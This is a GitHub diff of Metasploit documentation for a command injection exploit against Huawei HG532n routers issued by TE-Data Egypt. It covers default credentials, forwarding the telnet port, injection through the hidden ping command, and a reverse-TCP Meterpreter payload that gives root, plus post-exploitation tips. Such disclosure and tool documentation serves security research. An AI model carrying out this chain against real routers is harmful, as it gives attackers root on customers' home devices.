You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: documentation/modules/exploit/linux/http/huawei_hg532n_cmdinject.md
+96-2Lines changed: 96 additions & 2 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -3,7 +3,7 @@
3
3
## Introduction
4
4
5
5
The Huawei HG532n routers, shipped by TE-Data Egypt, are vulnerable to a command
6
-
injection exploit in the ping field of their limited shell interface.
6
+
injection exploit in the hidden ping command of their limited shell interface.
7
7
8
8
Affected hardware/software version strings:
9
9
@@ -16,9 +16,28 @@ Affected hardware/software version strings:
16
16
Software Version: V100R001C105B016 TEDATA
17
17
```
18
18
19
+
TE-Data, the incumbent ISP operator in Egypt, provided this router to customers
20
+
by default. The web interface has two kinds of logins, a "limited" user:user login
21
+
given to all customers, and an admin mode used by company's technical staff. For
22
+
hosts within the ISP network, this web interface is remotely accessible.
23
+
24
+
The web interface's user mode provides very limited functionality – only WIFI
25
+
passwords change and NAT port-forwarding. Nonetheless by port forwarding the
26
+
router's own (filtered) telnet port, it becomes remotely accessible. All installed
27
+
routers have a telnet password of admin:admin.
28
+
29
+
Due to the ISP's _encrypted_ runtime router configuration [*] though, the telnet
30
+
daemon does not provide a direct linux shell. Rather a very limited custom shell
31
+
is provided instead: "ATP command line tool". The limited shell has a ping command
32
+
which falls back to the system shell though (`ping %s > /var/res_ping`). We exploit
33
+
that through command injection to gain Meterpreter root access.
34
+
35
+
[*]`<X_ServiceManage TelnetEnable="1" ConsoleEnable="" ../>` at `/etc/defaultcfg.xml`
19
36
20
37
## Usage
21
38
39
+
With an attacker node that resides within the ISP network, do:
40
+
22
41
- Set `payload` to `linux/mipsbe/mettle_reverse_tcp`
23
42
24
43
- Set `RHOST` to the target router's IP
@@ -68,7 +87,7 @@ and `DOWNFIILE` to the payload's path on that server. Run the exploit
68
87
afterwards.
69
88
70
89
71
-
## Live Scenario
90
+
## Live Scenario (Verbose)
72
91
73
92
```
74
93
$ msfconsole
@@ -156,3 +175,78 @@ Architecture : mips
156
175
Meterpreter : mipsbe/linux
157
176
meterpreter >
158
177
```
178
+
179
+
## Post-exploitation
180
+
181
+
### MIPS toolchain
182
+
183
+
Beside a basic meterpreter shell, you can compile your own C programs and
184
+
run them on the device! Download the [Sourcery CodeBench Lite](https://sourcery.mentor.com/GNUToolchain/package13838/public/mips-linux-gnu/mips-2016.05-8-mips-linux-gnu-i686-pc-linux-gnu.tar.bz2)
185
+
MIPS toolchain then compile your programs in the following manner:
0 commit comments